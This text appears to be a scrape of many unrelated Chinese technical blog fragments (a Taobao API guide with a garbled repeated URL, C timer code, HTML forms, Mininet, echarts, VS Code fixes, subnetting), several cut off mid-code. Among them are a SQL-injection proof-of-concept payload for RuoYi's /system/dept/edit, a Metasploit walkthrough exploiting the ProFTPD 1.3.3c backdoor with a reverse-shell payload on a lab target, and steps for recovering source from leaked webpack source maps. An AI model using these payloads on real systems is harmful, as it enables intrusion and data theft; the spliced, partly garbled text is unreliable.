一、引言
随着互联网的普及和电子商务的快速发展,越来越多的人选择在淘宝等电商平台上购物。为了方便用户查询和获取商品信息,淘宝提供了APIitem_get接口,用于获取商品详情。本文将介绍如何使用淘宝APIitem_get接口获取商品详情的技巧,帮助用户更好地在淘宝购物。
二、APIitem_get接口介绍
APIitem_get接口是淘宝开放平台提供的一个API接口,用于获取商品详情。通过调用该接口,可以获取到商品的标题、价格、库存、评价等信息。APIitem_get接口的使用需要先进行身份认证,并获得相应的API密钥。
三、使用APIitem_get接口获取商品详情的步骤
身份认证 在使用APIitem_get接口之前,需要进行身份认证。用户需要登录淘宝开放平台,并创建一个应用,获得相应的API密钥。该密钥将用于后续的API调用。
调用API接口 使用APIitem_get接口获取商品详情时,需要提供商品的ID作为参数。调用API接口的URL格式为:https://api.taobao.com/routerjson/item/get?num=1&sort=s&style=g&type=p&catId=50015948&subCatId=50015948&fields=num_iid,title,pics,desc,cat_id,sub_cat_id,specs,price,total,pic_path,seller_nick,store_title,store_id,store_pic_url,auction_point,sell,label_id,type,material,color,style,uiscale&num=1&sort=s&style=g&type=p&catId=50015948&subCatId=50015948&fields=num_iid,title,pics,desc,cat_id,sub_cat_id,specs,price,total,pic_path,seller_nick,store_title,store_id,store_pic_url,auction_point,sell,label_id,type,material,color,style,uiscale&num=1&sort=s&style=g&type=p&catId=50015948&subCatId=50015948&fields=num_iid%2Ctitle%2Cpics%2Cdesc%2Ccat_id%2Csub_cat_id%2Cspecs%2Cprice%2Ctotal%2Cpic_path%2Cseller_nick%2Cstore_title%2Cstore_id%2Cstore_pic_url%2Cauction_point%2Csell%2Clabel_id%2Ctype%2Cmaterial%2Ccolor%2Cstyle%2Cuiscale&num=1&sort=s&style=g&type=p&catId=50015948&subCatId=50015948&fields=num_iid%2Ctitle%2Cpics%2Cdesc%2Ccat_id%2Csub_cat_id%2Cspecs%2Cprice%2Ctotal%2Cpic_path%2Cseller_nick%2Cstore_title%2Cstore_id%2Cstore_pic_url%2Cauction_point%2Csell%2Clabel_id%2Ctype%2Cmaterial%2Ccolor%2Cstyle%2Cuiscale&format=json HTTP/1.1
在以上URL中,需要将catId和subCatId替换为商品所在类目的ID和子类目的ID,num指定返回结果的条数,sort指定排序方式,style指定返回结果的格式。fields参数用于指定需要返回的字段,例如num_iid表示商品ID,title表示商品标题等。
处理返回结果 调用API接口后,会返回一个JSON格式的字符串,其中包含了商品的各种信息。用户需要解析该字符串,提取出需要的数据。例如,可以使用Python的json模块来解析返回结果:
import json response = requests.get("https://api.taobao.com/routerjson/item/get?num=1&sort=s&style=g&type=p&catId=50015948&subCatId=50015948&fields=num_iid,title,pics,desc,
static int start_histroy_timer(){
int timerfd = timerfd_create(CLOCK_MONOTONIC,TFD_NONBLOCK);
if(timerfd ==-1){
log_printfln(LOG_INFO," histroy_data timerfd_create fail");
return -1;
}
struct itimerspec new_value = {};
new_value.it_value.tv_sec = 3; //第一次3s到期
new_value.it_value.tv_nsec = 0;
// new_value.it_interval.tv_sec = 10 * 60; //后续周期是10 min cycle
new_value.it_interval.tv_sec = 5; //后续周期是10 min cycle
new_value.it_interval.tv_nsec = 0;
if(timerfd_settime(timerfd,0,&new_value,NULL)==-1){
log_printfln(LOG_INFO," histroy_data timerfd_settime fail");
return -1;
}
log_printfln(LOG_INFO, "histroy_data timer started");
int epollfd = epoll_create1(EPOLL_CLOEXEC);
if(epollfd == -1){
log_printfln(LOG_INFO, "histroy_data epoll_create1 fail");
<html> <head> <litle></litle> </head> <body> <!--标题是“登录页面”--> <h1>登录页面</h1> <!--输入账号和密码,可以运用表单标签form,其属性还有action其取值为URL和method其取值为get和post--> <!--action属性定义了表单数据提交的目标 URL,method 属性定义了提交数据的 HTTP 方法。--> <form> <!--需要自行输入账号和密码,可以使用<input> 元素是最常用的表单元素之一,它可以创建文本输入框、密码框、单选按钮、复选框等。type 属性定义了输入框的类型--> <!--输入账号使用文本框,给type属性赋值为text--> <!--value属性的作用是由type的属性的值决定的,在此处显示的是初始值,可作为提示语--> <p> 账号:<input type="text" value="请输入账号"><br> <!--密码需要加密,可使用password属性,使用之后输入的密码就会自动变为“圆点”或“*”--> <!--maxlength属性,是控制输入字符的最大长度--> 密码:<input type="password" maxlength="6"><br> <!--当用户单击"登录"按钮时,表单的内容会被传送到服务器。表单的动作属性 action 定义了服务端的文件名。--> <input type="submit" value="登录"> </p> </form> <!--a标签的作用是超文本链接,href属性是描述链接地址--> <p>若未注册,请点击<href=2.html>注册</a></p> </body> </html> <html> <head> <litle></litle> </head> <body> <h1>注册页面</h1> <form> <p> 用户名:<input type="text"><br> 手机号:<input type="text"><br> <!--通过选择按钮选择性别--> <!--name属性是标示表单字段,单选按钮和复选框需要标示相同的名字--> 性别: <input type="radio" name=see>男 <input type="radio" name=see>女<br> 设置密码:<input type="password" maxlength="6"><br> </P> </form> </body> </html>
文章目录 1.拓扑结构2.具体步骤 1.拓扑结构 通过python编程创建一个包含2台核心交换机、4台汇聚交换机、8台边缘交换机和16台主机的网络拓扑,如图示:
2.具体步骤 首先ctrl+alt+T(或右键)打开终端,在/home/shy/mininet/mininet/examples目录下使用sudo vim sdn.py命令新建python脚本文件。
步骤一:编写python代码并保存
from mininet.topo import Topo from mininet.net import Mininet from mininet.node import RemoteController,CPULimitedHost from mininet.link import TCLink from mininet.util import dumpNodeConnections #定义类 class MyTopo( Topo ): def __init__( self ): #初始化网络拓扑 Topo.__init__( self ) L1 = 2 #核心交换机数量 L2 = L1 * 2 #汇聚交换机数量 L3 = L2 * 2 #边缘交换机数量 c = [] #存放核心交换机的列表 a = [] #存放汇聚交换机的列表 e = [] #存放边缘交换机的列表 #添加核心交换机 for i in range( L1 ): sw = self.
0x00 前言
RuoYi是一个后台管理系统,基于经典技术组合(Spring Boot、Apache Shiro、MyBatis、Thymeleaf)主要目的让开发者注重专注业务,降低技术难度,从而节省人力成本,缩短项目周期,提高软件安全质量。
0x01 漏洞描述
/system/dept/edit存在SQL漏洞
0x02 CVE编号
CVE-2023-49371 0x03 影响版本
RuoYi v4.6版本
0x04 漏洞详情
POC:
DeptName=1&deptid=100&ParentId=12&Status=0&ordernum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#
影响范围 ProFTPD 1.3.3c
漏洞介绍 ProFTPD是一种高度可定制和可扩展的FTP服务器软件,它提供了一种安全和可靠的方式来传输文件和数据,它支持多种操作系统,包括类Unix系统(例如:Linux、FreeBSD等)和Windows,在其1.3.3c软件包中存在一处命令执行的后门漏洞,攻击者可以直接进行命令执行获取服务器端的Shell权限
漏洞利用 这里以"basic_pentesting_1"靶机中的ProFTPD 1.3.3c版本为例进行漏洞的检测与利用,首先执行以下命令来获取目标主机的IP地址信息
nmap -sn 192.168.204.0/24
服务端口扫描:
nmap -A -T4 -v 192.168.204.144
从上面的扫描结果可以看到目标服务器开启了21、22、80端口,而且注意到目标服务器中的FTP服务版本为ProFTPD 1.3.3c,所以我们可以直接利用该服务对应的漏洞对目标服务器实施攻击操作,首先我们使用searchsploit进行漏洞的检索操作
searchsploit ProFTOD 1.3.3c
随后我们直接在MSF中检索漏洞利用模块
msfconsole
search ProFTOD 1.3.3c
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 192.168.204.144
RHOSTS => 192.168.204.144
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > set lhost 192.168.204.135
lhost => 192.168.204.135
msf6 exploit(unix/ftp/proftpd_133c_backdoor) > show options
随后执行载荷并成功获取到目标服务器的权限
目录
“宝藏网站”
聊聊数学
“华尔兹”
“智慧之舞”
后续的章节我们将迎来新的篇章,新的切入点探索AI的奥秘,通过揭示高数、矩阵、概率论等数学知识与机器学习的关系来深入理解AI的奥秘!
“宝藏网站” 开头先给大家上几个宝藏网站(部分需要“梯子”):
sklearn主页
特征工程免费专著
模型选择
深度学习开源专著
Python自然语言处理学习手册
图形讲数学与神经网络视频合集
聊聊数学 数学,即工具。与锤子、剪刀一样,数学也是解决问题的得力工具。
数学,即思想。它是人类思维的高度抽象,冷酷外表下蕴含着人类朴素的思考方式。学数学,要知其所以然,而非死记硬背公式和定理。真正理解数学的关键在于能够通过图示、简单语言清晰表达一个公式或定理。
数学,即语言。如同各族群有自己的语言一样,数学是全人类共同的语言和逻辑。它的精准和高度抽象,适用于各个领域。虽然大多数人未能成为数学家,但我们依然能运用数学这门语言,就如同使用母语和外语进行交流一样。
数学,即体系。代数、几何、线性代数、微积分、概率统计、优化方法等,虽然看似孤立,实际上构成了一个复杂的数学网络。学习时,应特别关注不同数学板块之间的联系,看到整体而非孤立的知识岛屿。
数学,即基石。正如拿破仑所言,“数学的日臻完善和国家强大富裕息息相关。”数学是科学进步的根基,是经济繁荣的支柱,是保家卫国的武器,是探索星辰大海的航船。
数学,即艺术。与音乐、绘画、建筑一样,数学也是人类艺术的一种体验。通过可视化工具,我们能在公式、定理、数据背后发现数学之美。
数学,即历史。是人类共同的记忆,记录着人类集体学习、思考的过程。从甲骨、泥板到数字媒介,这一过程延绵不绝,见证了数学的发展和传承。
数学,即无尽想象力。是人类好奇心、自我挑战的体现,是一个接一个问题的提出,是看似荒谬的猜想,是胆大包天的批判性思考,是站在前人肩膀上的勇气,是不懈努力延展认知边界的不竭动力。
“华尔兹” 在这个信息爆炸的时代,数学和机器学习如同一场华尔兹,优雅地共舞,谱写出未来的乐章。让我们一同穿越数学的迷雾,探寻它与机器学习的美妙关系。
首先,让我们打开数学的魔盒。数学,那个被一些人视为“无聊”、“晦涩”的学科,其实就像一位不为人知的舞者,只待你亲近,就能感受到她的优美与深沉。微积分就像是她的旋律,代数是她的节拍,几何则是她的舞步。这个华尔兹的舞池里,数学的每一个元素都在默默地为下一场舞蹈做准备。
现在,让我们邀请机器学习走上这个数学的舞台。机器学习,就像是数学的灵魂伴侣,两者的结合就像是舞伴间默契的配合。统计学与线性代数在这里交织,形成了舞者与舞伴的默契黄昏。回归分析就像是一场温馨的慢舞,而神经网络则是一场充满激情的快舞。
数学和机器学习的关系犹如舞者与音乐的关系,一个缺少了另一个将失去灵魂。数学为机器学习提供了舞台和基础,而机器学习为数学赋予了生命和实际意义。在这个数学与机器学习的盛宴中,我们看到的不仅是理论的交汇,更是创新的火花。
这场数学与机器学习的华尔兹,不仅在学术领域翩然起舞,更在科技的大舞台上翻飞起舞。数据科学家就像是这场舞会的舞者,他们熟练地驾驭数学的步伐,与机器学习的旋律相得益彰。他们在数据的海洋中航行,通过数学的望远镜,发现隐藏在数据背后的规律,为人类未来的探索绘制地图。
在这场数学与机器学习的盛宴中,我们看到的是创新的未来,是数据的魔法,是人类对知识的追求。数学不再是沉闷的符号,机器学习不再是遥不可及的黑匣子,它们成为一对独特的舞伴,带领我们跳出思维的边界,走向未知的领域。
“智慧之舞” 在数字的时代,数学和机器学习彼此纠缠,构成了一场智慧之舞。这不仅仅是一种抽象的关系,而是一场协同合作,给人类带来前所未有的机遇。
数学,像是机器学习的基石。它提供了这场舞蹈的坐标系,定义了规则和语法。线性代数、概率论、微积分,它们是机器学习模型的底层算法所依赖的数学基础。如同音符在乐谱上跳跃,数学在机器学习的领域里织就了丰富多彩的编码。
而机器学习,是数学在现实中的映射。它借助数学的工具,通过模型和算法,从数据中学到规律,预测未来。回归分析、决策树、支持向量机,它们是数学智慧的具体表现。机器学习仿佛是数学的学生,通过实践和经验的积累,逐渐崭露头角。
数学和机器学习的关系就如同伴舞一般,相互依存,共同演绎出智慧的篇章。数学提供了理论框架和推理的逻辑,而机器学习则在数学的指导下,将这些理论变成了实际的成果。这是一场数字时代的默契合作,一个优雅而高效的合奏。
在这个关系里,数学是机器学习的导师,而机器学习则是数学的践行者。从模型的训练到预测的输出,每一个环节都离不开数学的引导。它们相辅相成,如同一对默契的舞伴,翩翩起舞,将未知的领域探索得淋漓尽致。
数学与机器学习的关系是一场优雅的智慧之舞,不仅拓展了我们对知识的理解,更在科技进步的征程中留下了深远的足迹。这场舞蹈告诉我们,数学不再是枯燥的符号,机器学习不再是冷冰冰的算法,它们一同构建起一个充满活力和创造力的数字世界。这是一场值得欣赏和参与的智慧之舞,数学与机器学习共同引领着我们走向未来的未知领域。
例如下面用数学坐标轴、投影、统计知识等看待PCA主成分分析:
后续章节的机器学习中将带有满满数学知识,志在从最底层理解AI理解机器学习!
更多内容尽请关注...
需求:用echart实现柱状图的横向展示,对指定数据的柱状图进行颜色区分,且对应标签值展示在柱状图右侧,实现文字的右对齐。
主要问题点:
1、柱状图的颜色渐变
通过colorStops设置color渐变的起止颜色,
colorStops: [ { offset: 0.01, // 颜色的开始位置 color: 'blue' // 0% 处的颜色 }, { offset: 0.99, // 颜色的结束位置 color: 'orange' // 100% 处的颜色 } ] 2、指定某一个柱状图颜色
给data中的指定颜色值进行特殊设置:
data: [111,0,222,555,333,666,999, { value: 369, label:'巴西', itemStyle: { color: 'red' } } ] 3、使用双Y轴实现标签右对齐
设置两个Y轴,一个为原本的名字,另一个为具体对应的数值。
效果如下图所示:
完整代码如下:
import * as echarts from 'echarts'; var chartDom = document.getElementById('main'); var myChart = echarts.init(chartDom); var option; option = { title: { text: '', subtext: '' }, tooltip: { trigger: 'item' //悬浮提示框不显示 }, grid: { //绘图区调整 x: 150, //左留白 y: 30, //上留白 x2: 100, //右留白 y2: 30 //下留白 }, xAxis: [ { show: false, type: 'value', boundaryGap: [0, 0], position: 'top', max: 'dataMax' // 保证百分比和柱状图宽度对应得上 } ], yAxis: [ { type: 'category', data: ['印尼', '美国', '印度', '中国', '内蒙古', '北京', '新疆', '巴西'], // axisTick: { // 刻度 // show: false // 不显示刻度线 // }, axisTick: { show: true,//隐藏刻度线 alignWithLabel: true,//设置刻度线与标签对齐 length: 4 }, axisLine: { show: true // 设置轴线 }, boundaryGap: false,// 坐标轴是否留白 }, { type: 'category', data: [[111], [0], [222], [555], [333], [666], [999], [369]], // 刻度 axisTick: { show: false // 不显示刻度线 }, axisLine: { show: false // 设置轴线 }, axisLabel: { textStyle: { fontSize: '12', color: '#a1a1a1' // 坐标值的具体的颜色 }, formatter: function (value) { return value + '人'; } }, boundaryGap: false } ], series: [ { name: '', type: 'bar', tooltip: { show: false }, barMinHeight: 0, //最小柱高 barWidth: 30, //柱宽度 barMaxWidth: 100, //最大柱宽度 barGap: '-100%', // 两条柱条重叠 showBackground: true, data: [ 111,0,222,555,333,666,999, { value: 369, // label:'巴西', itemStyle: { color: { colorStops: [ { offset: 0.
通过接口显示验证码的方法。
state.codeSrc = 'data:image/png;base64,' + res.image;
<img :src="state.codeSrc" @click="changeCode()" alt="验证码" />
如果只通过字符串显示验证码,放到<img src=" ">即可通过浏览器显示出来
<img src="data:image/png;base64,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" alt="验证码" />
前言:
easyExcel 的官网文档给的示例非常全,可以参考https://easyexcel.opensource.alibaba.com/docs/current/quickstart/read
在此我贴出自己的工具类,可以直接用
导包 <dependency> <groupId>com.alibaba</groupId> <artifactId>easyexcel</artifactId> <version>3.1.0</version> </dependency> 读excel 1:最简单读-使用demo对象 创建对象bean package com.wkl.testdemo.excel; import com.alibaba.excel.annotation.ExcelProperty; import lombok.Data; /** * @author wangkanglu * @version 1.0 * @description * @date 2023-12-08 17:28 */ @Data public class DemoBean { /** * 用名字去匹配,这里需要注意,如果名字重复,会导致只有一个字段读取到数据 */ @ExcelProperty("姓名") private String name; /** * 强制读取第二个 这里不建议 index 和 name 同时用,要么一个对象只用index,要么一个对象只用name去匹配 */ @ExcelProperty(index = 1) private String sex; } 创建读取器 package com.wkl.testdemo.excel; import com.alibaba.excel.context.AnalysisContext; import com.alibaba.excel.event.AnalysisEventListener; import com.
Webpack源码泄露复现 一、漏洞简介二、环境配置1、安装nodejs2、安装reverse-sourcemap 三、源码发现四、反编译源码五、修复建议 一、漏洞简介 Vue使用webpack(静态资源打包器)的时候,如果未进行正确配置,会产生一个js.map文件,而这个js.map可以通过工具来反编译还原Vue源代码,产生代码泄露。
二、环境配置 1、安装nodejs 使用npm -v查看版本
npm -v
2、安装reverse-sourcemap 使用如下命令安装
npm install --global reverse-sourcemap
三、源码发现 在目录扫描中,发现某个压缩包中存在js.map文件
解压该文件
四、反编译源码 reverse-sourcemap --output-dir . xxx.js.map
反编译成功,进入目录
五、修复建议 在项目路径下修改config/index.js中build对象productionSourceMap: false;
建议删除或禁止访问正式环境中的js.map文件;
1.智能点餐类插件:智能点餐 | 小程序插件 | 微信公众平台
2.折扣影票插件:折扣影票 | 小程序插件 | 微信公众平台
3.团购助手插件:团购助手 | 小程序插件 | 微信公众平台
4.周边实惠插件:实惠 | 小程序插件 | 微信公众平台
这些插件都只可在微信小程序中使用,支付宝中不可使用
由于插件体积较大,所以建议在pages.json的分包中引入插件
引入插件:
//在页面内点击对应图标进行跳转,url的配置参考上方文档即可:
uni.navigateTo({
url: url
});
效果如下所示:
跳转外部小程序
文章目录 1 概述1.1 图示1.2 安装第三方库 2 工作簿 workbook2.1 创建:Workbook()2.2 常用属性:load_workbook()2.3 获取 sheet2.4 创建 sheet2.5 复制 sheet2.6 删除 sheet2.7 移动 sheet2.8 重命名 Sheet 3 工作表 sheet3.1 追加数据3.2 查询数据3.3 修改数据3.4 删除数据3.5 获取表头3.6 遍历数据 4 单元格 cell4.1 查询4.2 修改 1 概述 1.1 图示 import openyxl 非内置模块,需安装:pip install openpyxl 适用对象:Excel 2007 及以上 (*.xlsx) 常用对象:工作簿、工作表、单元格 1.2 安装第三方库 若执行 pip install openpyxl 提示失败,则请看以下博客CSDN 博客:https://blog.csdn.net/qq_34745941/article/details/106341898 2 工作簿 workbook 2.1 创建:Workbook() import openpyxl class Excel(object): def __init__(self): pass def create_workbook(self, filename): "
现象:springcloud项目夹带security相关的包后启动提示如下:
Using generated security password: f67f9afa-xxxxxxxxxxx-a85e-88175f5a7c8a This generated password is for development use only. Your security configuration must be updated before running your application in production. 一眼看上去项目中带有Spring-Security相关包,经过maven依赖查看后加了exclude排除,但是问题依然存在:
Get请求接口正常,Post请求报错403.
于是乎加入WebSecurityConfig才屏蔽了验证,代码如下:
@Configuration @EnableWebSecurity public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http.authorizeRequests().anyRequest().permitAll().and().csrf().disable(); } } 通常,禁用spring security两种方法:
@EnableAutoConfiguration(exclude = {SecurityAutoConfiguration.class})
或者
@SpringBootApplication(exclude = {SecurityAutoConfiguration.class })
GitHub地址: https://github.com/shmilylty/OneForAll
需要配置python 环境
拉取完项目后,执行以下语句,下载所需环境包
pip3 install -r requirements.txt 语法说明: NAME oneforall.py - OneForAll帮助信息 SYNOPSIS oneforall.py COMMAND | --target=TARGET <flags> DESCRIPTION OneForAll是一款功能强大的子域收集工具 Example: python3 oneforall.py version python3 oneforall.py --target example.com run python3 oneforall.py --targets ./domains.txt run python3 oneforall.py --target example.com --valid None run python3 oneforall.py --target example.com --brute True run python3 oneforall.py --target example.com --port small run python3 oneforall.py --target example.com --fmt csv run python3 oneforall.py --target example.com --dns False run python3 oneforall.
问题描述 很简单,就是我电脑强制重启之后用vscode再去连服务器,发现连不上了
解决办法 如上图,点击重试按钮,下面的这些东西就可以复制粘贴了 ctr+f查找commit,这个时候就能找到一串d037ac076cee195194f93ce6fe2bdfe2969cc82d,然后就好了,执行下述命令下载vscode-server 然后通过SSH连接目标服务器,进入~/.vscode-server/bin文件夹。看有没有这样的文件目录,没有就创建,有就把里面的东西全部删掉 wget https://vscode.cdn.azure.cn/stable/d037ac076cee195194f93ce6fe2bdfe2969cc82d/vscode-server-linux-x64.tar.gz 当然也可以在浏览器地址栏输入网址,无论哪种方式都能得到一个压缩文件,然后将其解压 tar zxvf vscode-server-linux-x64.tar.gz 然后将解压后的内容原封不动的考到远程主机上 scp -r /home/visionx/下载/temp/vscode-server-linux-x64/* visionx@10.26.13.39:/home/visionx/.vscode-server/bin/d037ac076cee195194f93ce6fe2bdfe2969cc82d 重新启动VS Code,现在即可直接连上Linux主机了 特别注意:不要这样做 在这里边还是给出了一种比较简单且操作性比较强的解决办法,按照我这个情况,其实应该是在远程主机上有d037ac076cee195194f93ce6fe2bdfe2969cc82d这个文件目录的,但是为什么链接不上呢?原因就在于,可能是因为强制关机,而连接中的这个被强制关闭导致部分文件损坏了,所以没有办法重新连接,那有意思的就来了,我们找一个没损坏的不就行了嘛?把其他的配置文件直接考过去不就行了嘛?
显然是不行的,会让你不断的输入密码,但是无法连接
扩展阅读 正常来说,有外网的环境比较轻松,vscode通过ssh链接服务器比较便捷:
安装vscode 安装remote ssh 设置用户名和ip通过remote ssh链接服务器 如果可以正常走就不会有这篇文章了,因为网速问题,可能会卡在标题的地方很久很久
所以这里再给出一种解决办法:
vscode通过ssh链接服务器卡在downloading with wget - 知乎如题,vscode通过ssh链接服务器卡在downloading with wget/vscode server 正常来说,有外网的环境比较轻松,vscode通过ssh链接服务器比较便捷: 安装vscode 安装remote ssh 设置用户名和ip通过remote ssh链接服务…https://zhuanlan.zhihu.com/p/426876766
当然还有其他解决办法:
1. 找到此VS Code Server版本的commit_id
在VS Code界面上打开底端面板,找到“输出”,然后查看远程插件“Remote-SSH”的输出,会发现输出栏会有如下信息:
Deleting old install from /home/username/.vscode-server/bin/6445d93c81ebe42c4cbd7a60712e0b17d9463e97
Deleting old log file from /home/username/.vscode-server/.6445d93c81ebe42c4cbd7a60712e0b17d9463e97.log
Installing to /home/username/.vscode-server/bin/f1b07bd25dfad64b0167beb15359ae573aecd2cc...
等,也可能是其他类似输出,但是这些输出都不重要,重要的在于其最后的这一串字符,我们称之为commit_id,也就是说,可能由于网络环境或者软件版本不同,该界面具体执行的命令可能不同,导致输出信息不局限于上述信息。但是,重要的是commit_id,只要你能看得懂英语,你就能知道当前软件正在下载的VS Code Server对应的是哪一串commit_id。
目录
题:
1. 网络掩码
2.网络前缀长度
3.网络前缀
4.网络后缀长度
题: 已知一个/27网络中有一个地址是 167.199.170.82,
问这个网络的网络掩码,网络前缀长度和网络后缀长度是多少?网络前缀是多少?
1. 网络掩码 1.网络掩码是一种由32位二进制数表示的掩码。
2.用于指示一个IP地址中哪些位用于网络标识。
3.用来区分一个IP地址中哪部分是网络地址,哪部分是主机地址的。
4.每个网络都由唯一的IP地址和对应的网络掩码,他们一起确定了网络中
主机的数量和范围。
一个/27网络中有一个地址是 167.199.170.82
167.199.170.82 的二进制表示:10100111 11000111 10101010 01010010
一个网络的网络掩码通常可以通过计算得出:27个1位于二进制表示法的最
左边(高位),其余均为0,即11111111 11111111 11111111 11100000
将11111111 11111111 11111111 11100000换算成十进制得255.255.255.224
即网络掩码:255.255.255.224
2.网络前缀长度 1.用于识别一个IP地址中网络部分的长度
2.网络前缀长度通常用CIDR(无类域间路由)表示法来表示
3.例如,在一个IPv4地址(例如192.168.0.1)中,如果网络部分的长度
为24位,则网络前缀长度就是24,可以表示为192.168.0.1/24
因此此题的网络前缀长度为27
3.网络前缀 167.199.170.82 的二进制表示:10100111 11000111 10101010 01010010
网络掩码的二进制表示:11111111 11111111 11111111 11100000
将两者进行按位与计算:
与运算: 当两个二进制数的同一位都为1时,结果位也为1,否则它为0
10100111 11000111 10101010 01010010
&
11111111 11111111 11111111 11100000
得到10100111 11000111 10101010 01000000
即167.199.170.64
即网络前缀:167.199.170.64
问题描述 使用Godot为项目导出Android平台包时报错,提示:“无效的包名称:项目名称不符合包名格式的要求。请显式指定包名。”
解决办法 修改导出配置项“包->唯一名称”。
该项缺省值“org.godotengine.$genname”不能直接使用,要将“$genname”替换成合适的名称:
参考 How to fix invalid package name
效果:
1.在src下新建utils文件夹添加各省地图的json文件(下载各省地图的网址 DataV.GeoAtlas地理小工具系列)
2.安装echarts
npm install echarts 3.在项目文件中中引入json
<template> <div class="back"> <div id="chinaMap" class="china-map"></div> </div> </template> <script lang="ts" setup> import * as echarts from 'echarts'; import { ref, reactive, computed, onMounted } from "vue"; import { getProvince,findProvinceSaltProduct,getProvinceCompany } from "../../../common/api.js"; import AnHuiData from '../../../utils/anhui.json' import AoMenData from '../../../utils/aomen.json' import BeiJingData from '../../../utils/beijing.json' import ChongQingData from '../../../utils/chongqing.json' import FuJianData from '../../../utils/fujian.json' import GanSuData from '../../../utils/gansu.json' import GuangDongData from '../../../utils/guangdong.json' import GuangXiData from '.
目录 一、 XShell的作用
二、 下载免费版XShell
三、 安装XShell
四、使用XShell连接Linux服务器
